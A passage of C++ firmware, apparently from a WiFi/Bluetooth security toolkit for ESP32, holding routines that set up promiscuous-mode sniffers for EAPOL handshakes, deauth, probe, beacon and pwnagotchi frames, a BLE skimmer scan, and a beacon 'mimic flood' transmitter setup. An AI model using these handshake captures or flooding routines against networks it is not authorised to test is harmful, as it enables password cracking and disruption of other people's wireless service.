  615. display_obj.tft.println(text_table4[25] + sta_mac);
  616. display_obj.tft.println(text_table4[26] + ap_mac);
  617. display_obj.tft.println(text_table4[27] + free_ram);
  618. #endif
  619. if (sd_obj.supported) {
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[28]);
  622. display_obj.tft.print(text_table4[29]);
  623. display_obj.tft.print(sd_obj.card_sz);
  624. display_obj.tft.println("MB");
  625. #endif
  626. }
  627. else {
  628. #ifdef HAS_SCREEN
  629. display_obj.tft.println(text_table4[30]);
  630. display_obj.tft.println(text_table4[31]);
  631. #endif
  632. }
  633. battery_obj.battery_level = battery_obj.getBatteryLevel();
  634. if (battery_obj.i2c_supported) {
  635. #ifdef HAS_SCREEN
  636. display_obj.tft.println(text_table4[32]);
  637. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  638. #endif
  639. }
  640. else {
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.println(text_table4[34]);
  643. #endif
  644. }
  645. #ifdef HAS_SCREEN
  646. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  647. #endif
  648. }
  649. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  650. sd_obj.openCapture("espressif");
  651. #ifdef MARAUDER_FLIPPER
  652. flipper_led.sniffLED();
  653. #endif
  654. #ifdef HAS_SCREEN
  655. display_obj.TOP_FIXED_AREA_2 = 48;
  656. display_obj.tteBar = true;
  657. display_obj.print_delay_1 = 15;
  658. display_obj.print_delay_2 = 10;
  659. display_obj.initScrollValues(true);
  660. display_obj.tft.setTextWrap(false);
  661. display_obj.tft.setTextColor(TFT_WHITE, color);
  662. display_obj.tft.fillRect(0,16,240,16, color);
  663. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  664. display_obj.touchToExit();
  665. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  666. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  667. #endif
  668. esp_wifi_init(&cfg);
  669. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  670. esp_wifi_set_mode(WIFI_MODE_NULL);
  671. esp_wifi_start();
  672. esp_wifi_set_promiscuous(true);
  673. esp_wifi_set_promiscuous_filter(&filt);
  674. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  675. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  676. this->wifi_initialized = true;
  677. initTime = millis();
  678. }
  679. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  680. {
  681. #ifdef MARAUDER_FLIPPER
  682. flipper_led.sniffLED();
  683. #endif
  684. #ifdef HAS_SCREEN
  685. display_obj.tft.init();
  686. display_obj.tft.setRotation(1);
  687. display_obj.tft.fillScreen(TFT_BLACK);
  688. #endif
  689. sd_obj.openCapture("packet_monitor");
  690. #ifdef HAS_SCREEN
  691. #ifdef TFT_SHIELD
  692. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  693. Serial.println("Using TFT Shield");
  694. #else if defined(TFT_DIY)
  695. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  696. Serial.println("Using TFT DIY");
  697. #endif
  698. display_obj.tft.setTouch(calData);
  699. //display_obj.tft.setFreeFont(1);
  700. display_obj.tft.setFreeFont(NULL);
  701. display_obj.tft.setTextSize(1);
  702. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  703. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  704. delay(10);
  705. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  706. display_obj.tftDrawColorKey();
  707. display_obj.tftDrawXScaleButtons(x_scale);
  708. display_obj.tftDrawYScaleButtons(y_scale);
  709. display_obj.tftDrawChannelScaleButtons(set_channel);
  710. display_obj.tftDrawExitScaleButtons();
  711. #endif
  712. Serial.println("Running packet scan...");
  713. esp_wifi_init(&cfg);
  714. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  715. esp_wifi_set_mode(WIFI_MODE_NULL);
  716. esp_wifi_start();
  717. esp_wifi_set_promiscuous(true);
  718. esp_wifi_set_promiscuous_filter(&filt);
  719. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  720. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  721. this->wifi_initialized = true;
  722. uint32_t initTime = millis();
  723. }
  724. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  725. {
  726. #ifdef MARAUDER_FLIPPER
  727. flipper_led.sniffLED();
  728. #endif
  729. num_eapol = 0;
  730. #ifdef HAS_SCREEN
  731. display_obj.tft.init();
  732. display_obj.tft.setRotation(1);
  733. display_obj.tft.fillScreen(TFT_BLACK);
  734. #endif
  735. sd_obj.openCapture("eapol");
  736. #ifdef HAS_SCREEN
  737. #ifdef TFT_SHIELD
  738. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  739. //Serial.println("Using TFT Shield");
  740. #else if defined(TFT_DIY)
  741. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  742. //Serial.println("Using TFT DIY");
  743. #endif
  744. display_obj.tft.setTouch(calData);
  745. display_obj.tft.setFreeFont(NULL);
  746. display_obj.tft.setTextSize(1);
  747. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  748. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  749. delay(10);
  750. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  751. display_obj.tftDrawEapolColorKey();
  752. display_obj.tftDrawChannelScaleButtons(set_channel);
  753. display_obj.tftDrawExitScaleButtons();
  754. #endif
  755. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  756. esp_wifi_init(&cfg);
  757. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  758. //esp_wifi_set_mode(WIFI_MODE_NULL);
  759. esp_wifi_set_mode(WIFI_AP_STA);
  760. esp_wifi_start();
  761. esp_wifi_set_promiscuous(true);
  762. esp_wifi_set_promiscuous_filter(&filt);
  763. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  764. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  765. else
  766. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  767. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  768. this->wifi_initialized = true;
  769. initTime = millis();
  770. }
  771. // Function to prepare for beacon mimic
  772. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  773. #ifdef HAS_SCREEN
  774. display_obj.TOP_FIXED_AREA_2 = 48;
  775. display_obj.tteBar = true;
  776. display_obj.print_delay_1 = 15;
  777. display_obj.print_delay_2 = 10;
  778. display_obj.initScrollValues(true);
  779. display_obj.tft.setTextWrap(false);
  780. display_obj.tft.setTextColor(TFT_BLACK, color);
  781. display_obj.tft.fillRect(0,16,240,16, color);
  782. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  783. display_obj.touchToExit();
  784. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  785. #endif
  786. packets_sent = 0;
  787. esp_wifi_init(&cfg);
  788. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  789. esp_wifi_set_mode(WIFI_AP_STA);
  790. esp_wifi_start();
  791. esp_wifi_set_promiscuous_filter(NULL);
  792. esp_wifi_set_promiscuous(true);
  793. esp_wifi_set_max_tx_power(78);
  794. this->wifi_initialized = true;
  795. initTime = millis();
  796. }
  797. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  798. {
  799. sd_obj.openCapture("pwnagotchi");
  800. #ifdef MARAUDER_FLIPPER
  801. flipper_led.sniffLED();
  802. #endif
  803. #ifdef HAS_SCREEN
  804. display_obj.TOP_FIXED_AREA_2 = 48;
  805. display_obj.tteBar = true;
  806. display_obj.print_delay_1 = 15;
  807. display_obj.print_delay_2 = 10;
  808. display_obj.initScrollValues(true);
  809. display_obj.tft.setTextWrap(false);
  810. display_obj.tft.setTextColor(TFT_WHITE, color);
  811. display_obj.tft.fillRect(0,16,240,16, color);
  812. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  813. display_obj.touchToExit();
  814. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  815. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  816. #endif
  817. esp_wifi_init(&cfg);
  818. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  819. esp_wifi_set_mode(WIFI_MODE_NULL);
  820. esp_wifi_start();
  821. esp_wifi_set_promiscuous(true);
  822. esp_wifi_set_promiscuous_filter(&filt);
  823. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  824. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  825. this->wifi_initialized = true;
  826. initTime = millis();
  827. }
  828. // Function to start running a beacon scan
  829. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  830. {
  831. sd_obj.openCapture("beacon");
  832. #ifdef MARAUDER_FLIPPER
  833. flipper_led.sniffLED();
  834. #endif
  835. #ifdef HAS_SCREEN
  836. display_obj.TOP_FIXED_AREA_2 = 48;
  837. display_obj.tteBar = true;
  838. display_obj.print_delay_1 = 15;
  839. display_obj.print_delay_2 = 10;
  840. display_obj.initScrollValues(true);
  841. display_obj.tft.setTextWrap(false);
  842. display_obj.tft.setTextColor(TFT_WHITE, color);
  843. display_obj.tft.fillRect(0,16,240,16, color);
  844. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  845. display_obj.touchToExit();
  846. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  847. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  848. #endif
  849. esp_wifi_init(&cfg);
  850. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  851. esp_wifi_set_mode(WIFI_MODE_NULL);
  852. esp_wifi_start();
  853. esp_wifi_set_promiscuous(true);
  854. esp_wifi_set_promiscuous_filter(&filt);
  855. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  856. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  857. this->wifi_initialized = true;
  858. initTime = millis();
  859. }
  860. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  861. {
  862. sd_obj.openCapture("deauth");
  863. #ifdef MARAUDER_FLIPPER
  864. flipper_led.sniffLED();
  865. #endif
  866. #ifdef HAS_SCREEN
  867. display_obj.TOP_FIXED_AREA_2 = 48;
  868. display_obj.tteBar = true;
  869. display_obj.print_delay_1 = 15;
  870. display_obj.print_delay_2 = 10;
  871. display_obj.initScrollValues(true);
  872. display_obj.tft.setTextWrap(false);
  873. display_obj.tft.setTextColor(TFT_BLACK, color);
  874. display_obj.tft.fillRect(0,16,240,16, color);
  875. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  876. display_obj.touchToExit();
  877. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  878. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  879. #endif
  880. esp_wifi_init(&cfg);
  881. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  882. esp_wifi_set_mode(WIFI_MODE_NULL);
  883. esp_wifi_start();
  884. esp_wifi_set_promiscuous(true);
  885. esp_wifi_set_promiscuous_filter(&filt);
  886. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  887. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  888. this->wifi_initialized = true;
  889. initTime = millis();
  890. }
  891. // Function for running probe request scan
  892. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  893. {
  894. sd_obj.openCapture("probe");
  895. #ifdef MARAUDER_FLIPPER
  896. flipper_led.sniffLED();
  897. #endif
  898. #ifdef HAS_SCREEN
  899. display_obj.TOP_FIXED_AREA_2 = 48;
  900. display_obj.tteBar = true;
  901. display_obj.print_delay_1 = 15;
  902. display_obj.print_delay_2 = 10;
  903. display_obj.initScrollValues(true);
  904. display_obj.tft.setTextWrap(false);
  905. display_obj.tft.setTextColor(TFT_BLACK, color);
  906. display_obj.tft.fillRect(0,16,240,16, color);
  907. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  908. display_obj.touchToExit();
  909. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  910. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  911. #endif
  912. esp_wifi_init(&cfg);
  913. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  914. esp_wifi_set_mode(WIFI_MODE_NULL);
  915. esp_wifi_start();
  916. esp_wifi_set_promiscuous(true);
  917. esp_wifi_set_promiscuous_filter(&filt);
  918. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  919. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  920. this->wifi_initialized = true;
  921. initTime = millis();
  922. }
  923. // Function to start running any BLE scan
  924. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  925. {
  926. #ifdef HAS_BT
  927. #ifdef HAS_SCREEN
  928. display_obj.print_delay_1 = 50;
  929. display_obj.print_delay_2 = 20;
  930. #endif
  931. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  932. NimBLEDevice::setScanDuplicateCacheSize(200);
  933. NimBLEDevice::init("");
  934. pBLEScan = NimBLEDevice::getScan(); //create new scan
  935. if (scan_mode == BT_SCAN_ALL)
  936. {
  937. #ifdef HAS_SCREEN
  938. display_obj.TOP_FIXED_AREA_2 = 48;
  939. display_obj.tteBar = true;
  940. display_obj.initScrollValues(true);
  941. display_obj.tft.setTextWrap(false);
  942. display_obj.tft.setTextColor(TFT_BLACK, color);
  943. display_obj.tft.fillRect(0,16,240,16, color);
  944. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  945. display_obj.touchToExit();
  946. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  947. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  948. #endif
  949. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  950. }
  951. else if (scan_mode == BT_SCAN_SKIMMERS)
  952. {
  953. #ifdef HAS_SCREEN
  954. display_obj.TOP_FIXED_AREA_2 = 160;
  955. display_obj.tteBar = true;
  956. display_obj.tft.fillScreen(TFT_DARKGREY);
  957. display_obj.initScrollValues(true);
  958. display_obj.tft.setTextWrap(false);
  959. display_obj.tft.setTextColor(TFT_BLACK, color);
  960. display_obj.tft.fillRect(0,16,240,16, color);
  961. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  962. display_obj.twoPartDisplay(text_table4[43]);
  963. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  964. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  965. #endif
  966. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  967. }
  968. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  969. pBLEScan->setInterval(97);
  970. pBLEScan->setWindow(37); // less or equal setInterval value
  971. pBLEScan->setMaxResults(0);
  972. pBLEScan->start(0, scanCompleteCB, false);
  973. Serial.println("Started BLE Scan");
  974. this->ble_initialized = true;
  975. initTime = millis();
  976. #endif
  977. }
  978. // Function that is called when BLE scan is completed
  979. #ifdef HAS_BT
  980. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  981. printf("Scan complete!\n");
  982. printf("Found %d devices\n", scanResults.getCount());
  983. scanResults.dump();
  984. } // scanCompleteCB
  985. #endif
  986. // Function to extract MAC addr from a packet at given offset
  987. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  988. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  989. }
  990. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  991. {
  992. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  993. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  994. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  995. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  996. int len = snifferPacket->rx_ctrl.sig_len;
  997. String display_string = "";
  998. String src_addr_string = "";
  999. if (type == WIFI_PKT_MGMT)
  1000. {
  1001. len -= 4;
  1002. }
  1003. int fctl = ntohs(frameControl->fctl);
  1004. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1005. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1006. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1007. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1008. //{
  1009. char addr[] = "00:00:00:00:00:00";
  1010. getMAC(addr, snifferPacket->payload, 10);
  1011. src_addr_string.concat(addr);
  1012. bool match = false;
  1013. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1014. if (src_addr_string.startsWith(espressif_macs[i])) {
  1015. match = true;
  1016. break;
  1017. }
  1018. }
  1019. if (!match)
  1020. return;
  1021. delay(random(0, 10));
  1022. Serial.print("RSSI: ");
  1023. Serial.print(snifferPacket->rx_ctrl.rssi);
  1024. Serial.print(" Ch: ");
  1025. Serial.print(snifferPacket->rx_ctrl.channel);
  1026. Serial.print(" BSSID: ");
  1027. Serial.print(addr);
  1028. //display_string.concat(" RSSI: ");
  1029. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1030. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1031. //display_string.concat(" ");
  1032. display_string.concat(" -> ");
  1033. display_string.concat(addr);
  1034. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1035. {
  1036. display_string.concat(" ");
  1037. }
  1038. Serial.print(" ");
  1039. #ifdef HAS_SCREEN
  1040. display_obj.loading = true;
  1041. display_obj.display_buffer->add(display_string);
  1042. display_obj.loading = false;
  1043. #endif
  1044. Serial.println();
  1045. if (save_packet)
  1046. sd_obj.addPacket(snifferPacket->payload, len);
  1047. //}
  1048. }
  1049. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1050. {
  1051. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1052. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1053. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1054. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1055. int len = snifferPacket->rx_ctrl.sig_len;
  1056. String display_string = "";
  1057. String src = "";
  1058. String essid = "";
  1059. if (type == WIFI_PKT_MGMT)
  1060. {
  1061. len -= 4;
  1062. int fctl = ntohs(frameControl->fctl);
  1063. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1064. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1065. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1066. #ifdef HAS_SCREEN
  1067. int buf = display_obj.display_buffer->size();
  1068. #else
  1069. int buf = 0;
  1070. #endif
  1071. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1072. {
  1073. char addr[] = "00:00:00:00:00:00";
  1074. getMAC(addr, snifferPacket->payload, 10);
  1075. src.concat(addr);
  1076. if (src == "de:ad:be:ef:de:ad") {
  1077. delay(random(0, 10));
  1078. Serial.print("RSSI: ");
  1079. Serial.print(snifferPacket->rx_ctrl.rssi);
  1080. Serial.print(" Ch: ");
  1081. Serial.print(snifferPacket->rx_ctrl.channel);
  1082. Serial.print(" BSSID: ");
  1083. Serial.print(addr);
  1084. //display_string.concat(addr);
  1085. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1086. Serial.print(" ESSID: ");
  1087. display_string.concat(" -> ");
  1088. // Just grab the first 255 bytes of the pwnagotchi beacon
  1089. // because that is where the name is
  1090. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1091. for (int i = 0; i < len - 37; i++)
  1092. {
  1093. Serial.print((char)snifferPacket->payload[i + 38]);
  1094. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1095. if (isAscii(snifferPacket->payload[i + 38]))
  1096. essid.concat((char)snifferPacket->payload[i + 38]);
  1097. else
  1098. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1099. }
  1100. //essid.concat("\": \"\"}}");
  1101. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1102. // Load json
  1103. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1104. DynamicJsonDocument json(1024); // ArduinoJson v6
  1105. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1106. // ArduinoJson v6
  1107. if (deserializeJson(json, essid)) {
  1108. Serial.println("\nCould not parse Pwnagotchi json");
  1109. display_string.concat(essid);
  1110. }
  1111. else {
  1112. Serial.println("\nSuccessfully parsed json");
  1113. String json_output;
  1114. //json.printTo(json_output); // ArduinoJson v5
  1115. serializeJson(json, json_output); // ArduinoJson v6
  1116. Serial.println(json_output);
  1117. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1118. }
  1119. int temp_len = display_string.length();
  1120. for (int i = 0; i < 40 - temp_len; i++)
  1121. {
  1122. display_string.concat(" ");
  1123. }
  1124. Serial.print(" ");
  1125. #ifdef HAS_SCREEN
  1126. if (display_obj.display_buffer->size() == 0)
  1127. {
  1128. display_obj.loading = true;
  1129. display_obj.display_buffer->add(display_string);
  1130. display_obj.loading = false;
  1131. }
  1132. #endif
  1133. Serial.println();
  1134. if (save_packet)
  1135. sd_obj.addPacket(snifferPacket->payload, len);
  1136. }
  1137. }
  1138. }
  1139. }
  1140. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1141. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1142. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1143. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1144. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1145. int len = snifferPacket->rx_ctrl.sig_len;
  1146. String display_string = "";
  1147. String essid = "";
  1148. String bssid = "";
  1149. if (type == WIFI_PKT_MGMT)
  1150. {
  1151. len -= 4;
  1152. int fctl = ntohs(frameControl->fctl);
  1153. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1154. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1155. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1156. #ifdef HAS_SCREEN
  1157. int buf = display_obj.display_buffer->size();
  1158. #else
  1159. int buf = 0;
  1160. #endif
  1161. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1162. {
  1163. char addr[] = "00:00:00:00:00:00";
  1164. getMAC(addr, snifferPacket->payload, 10);
  1165. bool in_list = false;
  1166. bool mac_match = true;
  1167. for (int i = 0; i < access_points->size(); i++) {
  1168. mac_match = true;
  1169. //Serial.print("Checking ");
  1170. //Serial.print(addr);
  1171. //Serial.println(" against " + (String)access_points->get(i).essid);
  1172. for (int x = 0; x < 6; x++) {
  1173. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1174. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1175. mac_match = false;
  1176. //Serial.println("MACs do not match");
  1177. break;
  1178. }
  1179. }
  1180. if (mac_match) {
  1181. in_list = true;
  1182. break;
  1183. }
  1184. }
  1185. if (!in_list) {
  1186. delay(random(0, 10));
  1187. Serial.print("RSSI: ");
  1188. Serial.print(snifferPacket->rx_ctrl.rssi);
  1189. Serial.print(" Ch: ");
  1190. Serial.print(snifferPacket->rx_ctrl.channel);
  1191. Serial.print(" BSSID: ");
  1192. Serial.print(addr);
  1193. display_string.concat(addr);
  1194. Serial.print(" ESSID: ");
  1195. display_string.concat(" -> ");
  1196. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1197. {
  1198. Serial.print((char)snifferPacket->payload[i + 38]);
  1199. display_string.concat((char)snifferPacket->payload[i + 38]);
  1200. essid.concat((char)snifferPacket->payload[i + 38]);
  1201. }
  1202. bssid.concat(addr);
  1203. int temp_len = display_string.length();
  1204. for (int i = 0; i < 40 - temp_len; i++)
  1205. {
  1206. display_string.concat(" ");
  1207. }
  1208. Serial.print(" ");
  1209. #ifdef HAS_SCREEN
  1210. if (display_obj.display_buffer->size() == 0)
  1211. {
  1212. display_obj.loading = true;
  1213. display_obj.display_buffer->add(display_string);
  1214. display_obj.loading = false;
  1215. }
  1216. #endif
  1217. if (essid == "") {
  1218. essid = bssid;
  1219. Serial.print(essid + " ");
  1220. }
  1221. //LinkedList<char> beacon = new LinkedList<char>();
  1222. /*AccessPoint ap = {essid,
  1223. snifferPacket->rx_ctrl.channel,
  1224. {snifferPacket->payload[10],
  1225. snifferPacket->payload[11],
  1226. snifferPacket->payload[12],
  1227. snifferPacket->payload[13],
  1228. snifferPacket->payload[14],
  1229. snifferPacket->payload[15]},
  1230. false,
  1231. NULL};*/
  1232. AccessPoint ap;
  1233. ap.essid = essid;
  1234. ap.channel = snifferPacket->rx_ctrl.channel;
  1235. ap.bssid[0] = snifferPacket->payload[10];
  1236. ap.bssid[1] = snifferPacket->payload[11];
  1237. ap.bssid[2] = snifferPacket->payload[12];
  1238. ap.bssid[3] = snifferPacket->payload[13];
  1239. ap.bssid[4] = snifferPacket->payload[14];
  1240. ap.bssid[5] = snifferPacket->payload[15];
  1241. ap.selected = false;
  1242. ap.beacon = new LinkedList<char>();
  1243. //for (int i = 0; i < len; i++) {
  1244. // ap.beacon->add(snifferPacket->payload[i]);
  1245. //}
  1246. ap.beacon->add(snifferPacket->payload[34]);
  1247. ap.beacon->add(snifferPacket->payload[35]);
  1248. Serial.print("\nBeacon: ");
  1249. for (int i = 0; i < ap.beacon->size(); i++) {
  1250. char hexCar[4];
  1251. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1252. Serial.print(hexCar);
  1253. if ((i + 1) % 16 == 0)
  1254. Serial.print("\n");
  1255. else
  1256. Serial.print(" ");
  1257. }
  1258. access_points->add(ap);
  1259. Serial.print(access_points->size());
  1260. Serial.println();
  1261. if (save_packet)
  1262. sd_obj.addPacket(snifferPacket->payload, len);
  1263. }
  1264. }
  1265. }
  1266. }
  1267. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1268. {
  1269. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1270. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1271. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1272. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1273. int len = snifferPacket->rx_ctrl.sig_len;
  1274. String display_string = "";
  1275. String essid = "";
  1276. String bssid = "";
  1277. if (type == WIFI_PKT_MGMT)
  1278. {
  1279. len -= 4;
  1280. int fctl = ntohs(frameControl->fctl);
  1281. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1282. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1283. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1284. #ifdef HAS_SCREEN
  1285. int buf = display_obj.display_buffer->size();
  1286. #else
  1287. int buf = 0;
  1288. #endif
  1289. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1290. {
  1291. char addr[] = "00:00:00:00:00:00";
  1292. getMAC(addr, snifferPacket->payload, 10);
  1293. bool in_list = false;
  1294. bool mac_match = true;
  1295. for (int i = 0; i < access_points->size(); i++) {
  1296. mac_match = true;
  1297. //Serial.print("Checking ");
  1298. //Serial.print(addr);
  1299. //Serial.println(" against " + (String)access_points->get(i).essid);
  1300. for (int x = 0; x < 6; x++) {
  1301. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1302. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1303. mac_match = false;
  1304. //Serial.println("MACs do not match");
  1305. break;
  1306. }
  1307. }
  1308. if (mac_match) {
  1309. in_list = true;
  1310. break;
  1311. }
  1312. }
  1313. if (!in_list) {
  1314. delay(random(0, 10));
  1315. Serial.print("RSSI: ");
  1316. Serial.print(snifferPacket->rx_ctrl.rssi);
  1317. Serial.print(" Ch: ");
  1318. Serial.print(snifferPacket->rx_ctrl.channel);
  1319. Serial.print(" BSSID: ");
  1320. Serial.print(addr);
  1321. display_string.concat(addr);
  1322. Serial.print(" ESSID: ");
  1323. display_string.concat(" -> ");
  1324. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1325. {
